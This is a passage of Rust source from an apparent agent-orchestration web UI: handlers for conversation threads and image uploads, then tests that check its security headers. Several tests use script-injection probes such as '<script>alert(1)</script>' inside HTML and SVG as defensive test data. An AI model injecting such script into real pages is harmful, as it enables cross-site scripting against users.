5960 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5961 turn.take()
5962 .expect("held for the whole loop until released here")
5963 .release(&mut live);
5964 break;
5965 }
5966 };
5967 talk = next_talk;
5968 let drained = match result {
5969 Ok(Some(drained)) => drained,
5970 Ok(None) => {
5971 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5972 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5973 continue;
5974 }
5975 turn.take()
5976 .expect("held for the whole loop until released here")
5977 .release(&mut live);
5978 break;
5979 }
5980 Err(e) => {
5981 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5982 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5983 turn.take()
5984 .expect("held for the whole loop until released here")
5985 .release(&mut live);
5986 break;
5987 }
5988 };
5989 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5990 tracing::warn!("talk {id} turn failed: {e:#}");
5991 }
5992 }
5993}
5994
5995async fn talk_pending_clear(
5997 State(ui): State<Arc<Ui>>,
5998 Path(id): Path<String>,
5999 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6000) -> ApiResult<Json<TalkView>> {
6001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6002 blocking(move || {
6003 let id = resolve_talk(&ui.talks, &id)?;
6004 let mut talk = ui.talks.get(&id)?;
6005 if !talk.status.open() {
6006 return Err(ApiError::conflict(format!(
6007 "talk {} is {} and takes no more turns",
6008 talk.short(),
6009 talk.status.as_str()
6010 )));
6011 }
6012 if !talk::clear_pending_if_matches(
6013 &mut talk,
6014 &ui.talks,
6015 &body.expected_text,
6016 &body.expected_attachments,
6017 )? {
6018 return Err(ApiError::conflict(
6019 "queued message changed; reload it before clearing",
6020 ));
6021 }
6022 let thinking = ui.is_thinking(&talk.id);
6023 Ok(Json(TalkView::new(talk, thinking)))
6024 })
6025 .await
6026}
6027
6028async fn talk_pending_edit(
6032 State(ui): State<Arc<Ui>>,
6033 Path(id): Path<String>,
6034 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6035) -> ApiResult<Json<TalkView>> {
6036 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6037 let (view, reclaimed) = blocking({
6038 let ui = Arc::clone(&ui);
6039 move || {
6040 let id = resolve_talk(&ui.talks, &id)?;
6041 let mut talk = ui.talks.get(&id)?;
6042 if !talk.status.open() {
6043 return Err(ApiError::conflict(format!(
6044 "talk {} is {} and takes no more turns",
6045 talk.short(),
6046 talk.status.as_str()
6047 )));
6048 }
6049 if !talk::edit_pending_text(
6050 &mut talk,
6051 &ui.talks,
6052 &body.text,
6053 &body.expected_text,
6054 &body.expected_attachments,
6055 )? {
6056 return Err(ApiError::conflict(
6057 "queued message changed; reload it before editing",
6058 ));
6059 }
6060 let claim = match ui.begin_queued_talk_turn(&id)? {
6061 Some(turn_guard) => {
6062 let (cfg, _) = Config::discover(&talk.repo, None)?;
6063 Some((talk.clone(), cfg, id.clone(), turn_guard))
6064 }
6065 None => None,
6066 };
6067 let thinking = ui.is_thinking(&id);
6068 Ok((TalkView::new(talk, thinking), claim))
6069 }
6070 })
6071 .await?;
6072 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6073 let talks = ui.talks.clone();
6074 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6075 }
6076 Ok(Json(view))
6077}
6078
6079#[derive(Debug, Deserialize)]
6081struct TalkAgent {
6082 agent: String,
6083}
6084
6085async fn talk_agent(
6090 State(ui): State<Arc<Ui>>,
6091 Path(id): Path<String>,
6092 Json(body): Json<TalkAgent>,
6093) -> ApiResult<Json<TalkView>> {
6094 let id = {
6095 let ui = Arc::clone(&ui);
6096 blocking(move || resolve_talk(&ui.talks, &id)).await?
6097 };
6098 let repo = {
6099 let ui = Arc::clone(&ui);
6100 let id = id.clone();
6101 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6102 };
6103 let cfg = config_for(&repo).await?;
6104 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6105 return Err(ApiError::conflict(
6106 "a talk turn is running; change the agent once it has answered",
6107 ));
6108 };
6109 let switched = {
6110 let ui = Arc::clone(&ui);
6111 let id = id.clone();
6112 let cfg = cfg.clone();
6113 blocking(move || {
6114 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6115 .map_err(ApiError::bad_request_from)?;
6116 let mut talk = ui.talks.get(&id)?;
6117 if !talk.status.open() {
6118 return Err(ApiError::conflict(format!(
6119 "talk {} is {} and takes no more turns",
6120 talk.short(),
6121 talk.status.as_str()
6122 )));
6123 }
6124 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6125 Ok(talk)
6126 })
6127 .await
6128 };
6129 let fresh = {
6134 let ui = Arc::clone(&ui);
6135 let id = id.clone();
6136 blocking(move || Ok(ui.talks.get(&id)?)).await
6137 };
6138 let draining = match fresh {
6139 Ok(talk) => {
6140 let draining = talk.status.open()
6141 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6142 let talks = ui.talks.clone();
6143 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6144 draining
6145 }
6146 Err(_) => false,
6147 };
6148 let talk = switched?;
6149 Ok(Json(TalkView::new(talk, draining)))
6150}
6151
6152async fn talk_close(
6154 State(ui): State<Arc<Ui>>,
6155 Path(id): Path<String>,
6156) -> ApiResult<Json<TalkView>> {
6157 blocking(move || {
6158 let id = resolve_talk(&ui.talks, &id)?;
6159 let mut talk = ui.talks.get(&id)?;
6160 talk::close(&mut talk, &ui.talks)?;
6161 let thinking = ui.is_thinking(&talk.id);
6162 Ok(Json(TalkView::new(talk, thinking)))
6163 })
6164 .await
6165}
6166
6167async fn talk_reopen(
6169 State(ui): State<Arc<Ui>>,
6170 Path(id): Path<String>,
6171) -> ApiResult<Json<TalkView>> {
6172 blocking(move || {
6173 let id = resolve_talk(&ui.talks, &id)?;
6174 let mut talk = ui.talks.get(&id)?;
6175 talk::reopen(&mut talk, &ui.talks)?;
6176 let thinking = ui.is_thinking(&talk.id);
6177 Ok(Json(TalkView::new(talk, thinking)))
6178 })
6179 .await
6180}
6181
6182async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6192 blocking(move || {
6193 let id = resolve_talk(&ui.talks, &id)?;
6194 ui.talks.remove(&id)?;
6195 Ok(StatusCode::NO_CONTENT)
6196 })
6197 .await
6198}
6199
6200fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6202 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6203}
6204
6205async fn talk_attachment_post(
6208 State(ui): State<Arc<Ui>>,
6209 Path(id): Path<String>,
6210 headers: HeaderMap,
6211 body: Bytes,
6212) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6213 let mime = validate_attachment(&headers, &body)?;
6214 let name = filename_header(&headers);
6215 let data = body.to_vec();
6216 blocking(move || {
6217 let id = resolve_talk(&ui.talks, &id)?;
6218 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6219 Ok((StatusCode::CREATED, Json(att)))
6220 })
6221 .await
6222}
6223
6224async fn talk_attachment_get(
6227 State(ui): State<Arc<Ui>>,
6228 Path((id, att)): Path<(String, String)>,
6229) -> ApiResult<Response> {
6230 blocking(move || {
6231 let id = resolve_talk(&ui.talks, &id)?;
6232 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6233 return Err(ApiError::not_found(format!(
6234 "talk {id} has no attachment `{att}`"
6235 )));
6236 };
6237 Ok(attachment_response(&meta.mime, data))
6238 })
6239 .await
6240}
6241
6242fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6253 if data.len() > ATTACHMENT_MAX_BYTES {
6254 return Err(ApiError::bad_request(format!(
6255 "attachment is {} bytes, over the {} MiB limit",
6256 data.len(),
6257 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6258 ))
6259 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6260 }
6261 if data.is_empty() {
6262 return Err(ApiError::bad_request("attachment is empty"));
6263 }
6264 let declared = declared_mime(headers)?;
6265 match sniffed_mime(data) {
6266 Some(sniffed) if sniffed == declared => Ok(declared),
6267 Some(sniffed) => Err(ApiError::bad_request(format!(
6268 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6269 ))),
6270 None => Err(ApiError::bad_request(
6271 "the file's bytes do not match any accepted image format",
6272 )),
6273 }
6274}
6275
6276fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6280 let raw = headers
6281 .get(header::CONTENT_TYPE)
6282 .and_then(|v| v.to_str().ok())
6283 .unwrap_or("")
6284 .split(';')
6285 .next()
6286 .unwrap_or("")
6287 .trim()
6288 .to_ascii_lowercase();
6289 ATTACHMENT_MIME_WHITELIST
6290 .iter()
6291 .find(|&&m| m == raw)
6292 .copied()
6293 .ok_or_else(|| {
6294 if raw == "image/svg+xml" {
6295 ApiError::bad_request(
6296 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6297 not just a picture",
6298 )
6299 } else if raw.is_empty() {
6300 ApiError::bad_request("Content-Type is required for an attachment upload")
6301 } else {
6302 ApiError::bad_request(format!(
6303 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6304 image/gif or image/webp"
6305 ))
6306 }
6307 })
6308}
6309
6310fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6313 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6314 Some("image/png")
6315 } else if data.starts_with(b"\xff\xd8\xff") {
6316 Some("image/jpeg")
6317 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6318 Some("image/gif")
6319 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6320 Some("image/webp")
6321 } else {
6322 None
6323 }
6324}
6325
6326fn filename_header(headers: &HeaderMap) -> String {
6332 headers
6333 .get(FILENAME_HEADER)
6334 .and_then(|v| v.to_str().ok())
6335 .map(str::trim)
6336 .filter(|s| !s.is_empty())
6337 .unwrap_or("attachment")
6338 .to_owned()
6339}
6340
6341fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6348 let content_type = ATTACHMENT_MIME_WHITELIST
6349 .iter()
6350 .find(|&&m| m == mime)
6351 .copied()
6352 .unwrap_or("application/octet-stream");
6353 (
6354 [
6355 (header::CONTENT_TYPE, content_type),
6356 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6357 ],
6358 body,
6359 )
6360 .into_response()
6361}
6362
6363async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6371 let repo = repo.to_path_buf();
6372 blocking(move || {
6373 let (cfg, _) = Config::discover(&repo, None)?;
6374 Ok(cfg)
6375 })
6376 .await
6377}
6378
6379fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6385 let mut hits = ids
6386 .into_iter()
6387 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6388 match (hits.next(), hits.next()) {
6389 (Some(one), None) => Ok(one),
6390 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6391 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6392 "`{prefix}` matches more than one {what}, including {a} and {b}"
6393 ))),
6394 }
6395}
6396
6397#[cfg(test)]
6398mod tests {
6399
6400 #[test]
6401 fn holder_reads_the_lease_not_the_record() {
6402 let mut q = Question::new(
6403 "run".to_owned(),
6404 "implement".to_owned(),
6405 "impl-A".to_owned(),
6406 "which?".to_owned(),
6407 String::new(),
6408 Vec::new(),
6409 );
6410 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6411 q.cwd = Some("/tmp".to_owned());
6412 assert_eq!(holder_of(&q, None), Some("nobody"));
6413 let beat = |kind, ago: i64| ask::Lease {
6414 kind,
6415 pid: 1,
6416 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6417 .unwrap(),
6418 };
6419 let fresh = beat(ask::WaiterKind::Asker, 1);
6420 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6421 let daemon = beat(ask::WaiterKind::Daemon, 1);
6422 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6423 let stale = beat(ask::WaiterKind::Asker, 3600);
6424 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6425
6426 let mut c = Question::new(
6429 "task".to_owned(),
6430 crate::conduct::NODE.to_owned(),
6431 "conduct".to_owned(),
6432 "which?".to_owned(),
6433 String::new(),
6434 Vec::new(),
6435 );
6436 assert_eq!(holder_of(&c, None), Some("nobody"));
6437 c.cwd = Some("/tmp".to_owned());
6438 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6439 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6440 let deputy = beat(ask::WaiterKind::Deputy, 1);
6441 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6442 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6443
6444 let mut r = Question::new(
6446 String::new(),
6447 crate::bump::NOTICE_NODE.to_owned(),
6448 "release-watch".to_owned(),
6449 "stuck?".to_owned(),
6450 String::new(),
6451 vec!["hold".to_owned()],
6452 );
6453 assert_eq!(holder_of(&r, None), Some("nobody"));
6454 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6455 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6456 r.deputy = None;
6458 r.seat = "bump".to_owned();
6459 assert_eq!(holder_of(&r, None), None);
6460
6461 let mut m = Question::new(
6464 "run".to_owned(),
6465 crate::land::APPROVAL_NODE.to_owned(),
6466 "land".to_owned(),
6467 "merge?".to_owned(),
6468 String::new(),
6469 Vec::new(),
6470 );
6471 assert_eq!(holder_of(&m, None), Some("nobody"));
6472 assert_eq!(
6473 holder_of(&m, Some(&fresh)),
6474 Some("nobody"),
6475 "a lease with no deputy is not a listener"
6476 );
6477 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6478 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6479 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6480 assert_eq!(holder_of(&m, None), Some("nobody"));
6481 }
6482
6483 #[test]
6484 fn deputies_enabled_follows_the_config() {
6485 let on = Config {
6488 agents: vec![crate::config::AgentSpec {
6489 id: "stub".to_owned(),
6490 kind: AgentKind::Command,
6491 model: None,
6492 command: vec!["true".to_owned()],
6493 extra_args: Vec::new(),
6494 env: Default::default(),
6495 prompt_delivery: None,
6496 }],
6497 ..Config::default()
6498 };
6499 assert!(crate::deputy::can_start(Some(&on), ""));
6500 assert!(crate::deputy::can_start(Some(&on), "stub"));
6501 let mut off = on.clone();
6502 off.daemon.max_deputies = 0;
6503 assert!(!crate::deputy::can_start(Some(&off), ""));
6504 let mut empty = on;
6505 empty.agents.clear();
6506 assert!(!crate::deputy::can_start(Some(&empty), ""));
6507 assert!(!crate::deputy::can_start(None, ""));
6508 }
6509
6510 use pretty_assertions::assert_eq;
6511 use serde_json::Value;
6512 use tempfile::TempDir;
6513 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6514
6515 use super::*;
6516 use crate::config::Config;
6517 use crate::queue::Source;
6518
6519 const SETTLE_STEPS: usize = 3_000;
6530
6531 struct Fixture {
6537 home: TempDir,
6538 addr: SocketAddr,
6539 }
6540
6541 impl Fixture {
6542 async fn start() -> Self {
6543 Self::with_loop(launch_idle).await
6544 }
6545
6546 async fn with_loop(launch: Launch) -> Self {
6548 let home = TempDir::new().expect("temp home");
6549 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6550 Self { home, addr }
6551 }
6552
6553 async fn with_repo(repo: PathBuf) -> Self {
6557 let home = TempDir::new().expect("temp home");
6558 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6559 Self { home, addr }
6560 }
6561
6562 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6565 let home = TempDir::new().expect("temp home");
6566 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6567 Self { home, addr }
6568 }
6569
6570 async fn serve(
6571 home: &FsPath,
6572 repo: PathBuf,
6573 launch: Launch,
6574 machine: Option<PathBuf>,
6575 ) -> SocketAddr {
6576 let queue = Queue::at(home.join("queue"));
6577 let runs = home.join("runs");
6578 std::fs::create_dir_all(&runs).expect("runs dir");
6579 let worktrees = home.join("wt").join("magi");
6580 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6581 let ui = Ui::new(
6582 queue,
6583 Questions::at(home.join("questions")),
6584 Talks::at(home.join("talks")),
6585 runs,
6586 home.to_path_buf(),
6587 repo,
6588 )
6589 .with_worktrees_root(worktrees)
6590 .with_machine_config(machine)
6591 .with_launch(launch);
6592 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6593 .await
6594 .expect("bind loopback");
6595 let addr = listener.local_addr().expect("local addr");
6596 tokio::spawn(async move {
6597 let _ = axum::serve(listener, ui.router()).await;
6598 });
6599 addr
6600 }
6601
6602 fn queue(&self) -> Queue {
6603 Queue::at(self.home.path().join("queue"))
6604 }
6605
6606 fn questions(&self) -> Questions {
6607 Questions::at(self.home.path().join("questions"))
6608 }
6609
6610 fn talks(&self) -> Talks {
6611 Talks::at(self.home.path().join("talks"))
6612 }
6613
6614 fn runs(&self) -> PathBuf {
6615 self.home.path().join("runs")
6616 }
6617
6618 async fn get(&self, path: &str) -> Res {
6619 request(self.addr, "GET", path, None).await
6620 }
6621
6622 async fn head(&self, path: &str) -> Res {
6627 request(self.addr, "HEAD", path, None).await
6628 }
6629
6630 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6631 request(self.addr, "POST", path, body).await
6632 }
6633
6634 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6635 request_with(self.addr, "GET", path, None, extra).await
6636 }
6637
6638 async fn delete(&self, path: &str) -> Res {
6639 request(self.addr, "DELETE", path, None).await
6640 }
6641
6642 async fn put(&self, path: &str, body: &str) -> Res {
6643 request(self.addr, "PUT", path, Some(body)).await
6644 }
6645
6646 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6648 request_bytes(self.addr, path, headers, body).await
6649 }
6650 }
6651
6652 struct Res {
6653 status: u16,
6654 headers: String,
6655 head: String,
6660 body: String,
6661 bytes: Vec<u8>,
6665 }
6666
6667 impl Res {
6668 fn json(&self) -> Value {
6669 serde_json::from_str(&self.body)
6670 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6671 }
6672
6673 fn header(&self, name: &str) -> Option<&str> {
6675 self.head.lines().find_map(|line| {
6676 let (key, value) = line.split_once(':')?;
6677 key.trim()
6678 .eq_ignore_ascii_case(name)
6679 .then(|| value.trim_start().trim_end_matches('\r'))
6680 })
6681 }
6682 }
6683
6684 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6687 request_with(addr, method, path, body, &[]).await
6688 }
6689
6690 async fn request_with(
6694 addr: SocketAddr,
6695 method: &str,
6696 path: &str,
6697 body: Option<&str>,
6698 extra: &[(&str, &str)],
6699 ) -> Res {
6700 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6701 for (name, value) in extra {
6702 head.push_str(&format!("{name}: {value}\r\n"));
6703 }
6704 if let Some(body) = body {
6705 head.push_str("Content-Type: application/json\r\n");
6706 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6707 }
6708 head.push_str("\r\n");
6709 if let Some(body) = body {
6710 head.push_str(body);
6711 }
6712 let mut socket = tokio::net::TcpStream::connect(addr)
6713 .await
6714 .expect("connect to the test server");
6715 socket
6716 .write_all(head.as_bytes())
6717 .await
6718 .expect("write request");
6719 let mut raw = Vec::new();
6720 socket.read_to_end(&mut raw).await.expect("read response");
6721 let split = raw
6724 .windows(4)
6725 .position(|w| w == b"\r\n\r\n")
6726 .expect("a header block");
6727 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6728 let bytes = raw[split + 4..].to_vec();
6729 let status = head
6730 .lines()
6731 .next()
6732 .and_then(|line| line.split_whitespace().nth(1))
6733 .and_then(|code| code.parse().ok())
6734 .expect("a status line");
6735 Res {
6736 status,
6737 headers: head.to_lowercase(),
6738 head,
6739 body: String::from_utf8_lossy(&bytes).into_owned(),
6740 bytes,
6741 }
6742 }
6743
6744 async fn request_bytes(
6750 addr: SocketAddr,
6751 path: &str,
6752 headers: &[(&str, &str)],
6753 body: &[u8],
6754 ) -> Res {
6755 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6756 for (name, value) in headers {
6757 head.push_str(&format!("{name}: {value}\r\n"));
6758 }
6759 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6760 let mut socket = tokio::net::TcpStream::connect(addr)
6761 .await
6762 .expect("connect to the test server");
6763 socket
6764 .write_all(head.as_bytes())
6765 .await
6766 .expect("write request head");
6767 socket.write_all(body).await.expect("write request body");
6768 let mut raw = Vec::new();
6769 socket.read_to_end(&mut raw).await.expect("read response");
6770 let split = raw
6771 .windows(4)
6772 .position(|w| w == b"\r\n\r\n")
6773 .expect("a header block");
6774 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6775 let bytes = raw[split + 4..].to_vec();
6776 let status = head
6777 .lines()
6778 .next()
6779 .and_then(|line| line.split_whitespace().nth(1))
6780 .and_then(|code| code.parse().ok())
6781 .expect("a status line");
6782 Res {
6783 status,
6784 headers: head.to_lowercase(),
6785 head,
6786 body: String::from_utf8_lossy(&bytes).into_owned(),
6787 bytes,
6788 }
6789 }
6790
6791 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6793 let mut state = RunState::new(
6794 PathBuf::from("/repo/magi"),
6795 "main".to_owned(),
6796 "0123456789abcdef".to_owned(),
6797 "Add a web UI\n\nMobile first.".to_owned(),
6798 Config::default(),
6799 );
6800 state.id = id.to_owned();
6801 state.status = status;
6802 let dir = runs.join(id);
6803 std::fs::create_dir_all(&dir).expect("run dir");
6804 std::fs::write(
6805 dir.join("run.json"),
6806 serde_json::to_string_pretty(&state).expect("serialize run"),
6807 )
6808 .expect("write run.json");
6809 }
6810
6811 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6815 let mut state = RunState::new(
6816 PathBuf::from(repo),
6817 "main".to_owned(),
6818 "0123456789abcdef".to_owned(),
6819 "task".to_owned(),
6820 Config::default(),
6821 );
6822 state.id = id.to_owned();
6823 state.status = status;
6824 let dir = runs.join(id);
6825 std::fs::create_dir_all(&dir).expect("run dir");
6826 std::fs::write(
6827 dir.join("run.json"),
6828 serde_json::to_string_pretty(&state).expect("serialize run"),
6829 )
6830 .expect("write run.json");
6831 }
6832
6833 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6834 let body = serde_json::json!({
6835 "schema": 1,
6836 "pid": 4242,
6837 "started_at": Timestamp::now().to_string(),
6838 "updated_at": updated_at.to_string(),
6839 "idle": false,
6840 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6841 "completed": 7,
6842 "polls": 143,
6843 });
6844 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6845 }
6846
6847 fn launch_idle(
6857 _opts: daemon::Opts,
6858 stop: daemon::Stop,
6859 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6860 Box::pin(async move {
6861 while !stop.stopped() {
6862 tokio::time::sleep(Duration::from_millis(2)).await;
6863 }
6864 Ok(())
6865 })
6866 }
6867
6868 fn launch_broken(
6871 _opts: daemon::Opts,
6872 _stop: daemon::Stop,
6873 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6874 Box::pin(async {
6875 Err(anyhow::anyhow!(
6876 "publish the daemon status file: read-only file system"
6877 ))
6878 })
6879 }
6880
6881 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6888 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6889
6890 fn launch_knocking_on_the_way_out(
6897 _opts: daemon::Opts,
6898 stop: daemon::Stop,
6899 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6900 Box::pin(async move {
6901 while !stop.stopped() {
6902 tokio::time::sleep(Duration::from_millis(2)).await;
6903 }
6904 let addr = PARK_KNOCK
6905 .lock()
6906 .expect("park knock")
6907 .expect("the test set an address");
6908 let heard = request(addr, "GET", "/api/health", None).await.status;
6909 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6910 Ok(())
6911 })
6912 }
6913
6914 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6923 for _ in 0..SETTLE_STEPS {
6924 let view = fx.get("/api/loop").await.json();
6925 if want(&view) {
6926 return view;
6927 }
6928 tokio::time::sleep(Duration::from_millis(10)).await;
6929 }
6930 panic!(
6931 "the loop never settled: {}",
6932 fx.get("/api/loop").await.json()
6933 );
6934 }
6935
6936 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6938 let store = fx.questions();
6939 let mut q = Question::new(
6940 "20260902-000000-beef".to_owned(),
6941 "implement".to_owned(),
6942 "impl-A".to_owned(),
6943 summary.to_owned(),
6944 "because it matters".to_owned(),
6945 choices.iter().map(|c| (*c).to_owned()).collect(),
6946 );
6947 store.put(&mut q).expect("put question");
6948 q.id
6949 }
6950
6951 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6957 let store = fx.questions();
6958 let mut q = Question::new(
6959 "20260902-000000-beef".to_owned(),
6960 "land".to_owned(),
6961 "fix".to_owned(),
6962 "Merge this?".to_owned(),
6963 "the diff is in the panel".to_owned(),
6964 vec!["merge".to_owned(), "hold".to_owned()],
6965 );
6966 let staging = fx.home.path().join("staging");
6969 std::fs::create_dir_all(&staging).expect("staging dir");
6970 let sources: Vec<PathBuf> = assets
6971 .iter()
6972 .map(|(name, bytes)| {
6973 let path = staging.join(name);
6974 std::fs::write(&path, bytes).expect("write staged asset");
6975 path
6976 })
6977 .collect();
6978 store
6979 .put_panel(&mut q, html, &sources)
6980 .expect("write the panel");
6981 store.put(&mut q).expect("put question");
6982 q.id
6983 }
6984
6985 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6994 let store = fx.talks();
6995 std::fs::create_dir_all(store.root()).expect("talks dir");
6996 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6997 .expect("serialize a seat");
6998 let body = serde_json::json!({
6999 "schema": 1,
7000 "id": id,
7001 "repo": "/repo/magi",
7002 "agent": "mock",
7003 "status": status,
7004 "turns": [],
7005 "created_at": Timestamp::now().to_string(),
7006 "updated_at": Timestamp::now().to_string(),
7007 "seat": seat,
7008 });
7009 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7010 store.get(id).expect("the seeded talk has to be readable");
7011 id.to_owned()
7012 }
7013
7014 #[tokio::test]
7015 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7016 let fx = Fixture::start().await;
7017 let id = panel(
7018 &fx,
7019 "<h1>Merge?</h1><img src=\"diff.svg\">",
7020 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7021 );
7022
7023 for path in [
7024 format!("/api/questions/{id}/panel"),
7025 format!("/api/questions/{id}/asset/diff.svg"),
7026 ] {
7027 let res = fx.get(&path).await;
7028 assert_eq!(res.status, 200, "{path}: {}", res.body);
7029 assert_eq!(
7035 res.header("content-security-policy"),
7036 Some(
7037 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7038 font-src data:; base-uri 'none'; form-action 'none'; \
7039 frame-ancestors 'self'"
7040 ),
7041 "{path} is the only thing between a hostile panel and the tailnet"
7042 );
7043 assert_eq!(
7044 res.header("x-content-type-options"),
7045 Some("nosniff"),
7046 "{path}: a browser must not re-decide the type we sent"
7047 );
7048 assert_eq!(
7049 res.header("referrer-policy"),
7050 Some("no-referrer"),
7051 "{path}: a panel must not leak the question id off the machine"
7052 );
7053
7054 let pre = fx.head(&path).await;
7059 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7060 assert_eq!(
7061 pre.header("content-security-policy"),
7062 res.header("content-security-policy"),
7063 "{path}: the preflight carries the same policy"
7064 );
7065 assert_eq!(
7066 pre.header("content-type"),
7067 res.header("content-type"),
7068 "{path}: the preflight carries the same type"
7069 );
7070 }
7071 }
7072
7073 #[tokio::test]
7074 async fn a_panel_reaches_the_browser_byte_for_byte() {
7075 let fx = Fixture::start().await;
7076 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7081 let id = panel(&fx, html, &[]);
7082
7083 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7084
7085 assert_eq!(res.status, 200);
7086 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7087 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7088 assert_eq!(
7089 res.header("content-disposition"),
7090 None,
7091 "the panel itself is rendered in the frame, not downloaded"
7092 );
7093 }
7094
7095 #[tokio::test]
7096 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7097 let fx = Fixture::start().await;
7098 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7099 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7100 let id = panel(
7101 &fx,
7102 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7103 &[("diff.svg", svg), ("shot.png", png)],
7104 );
7105
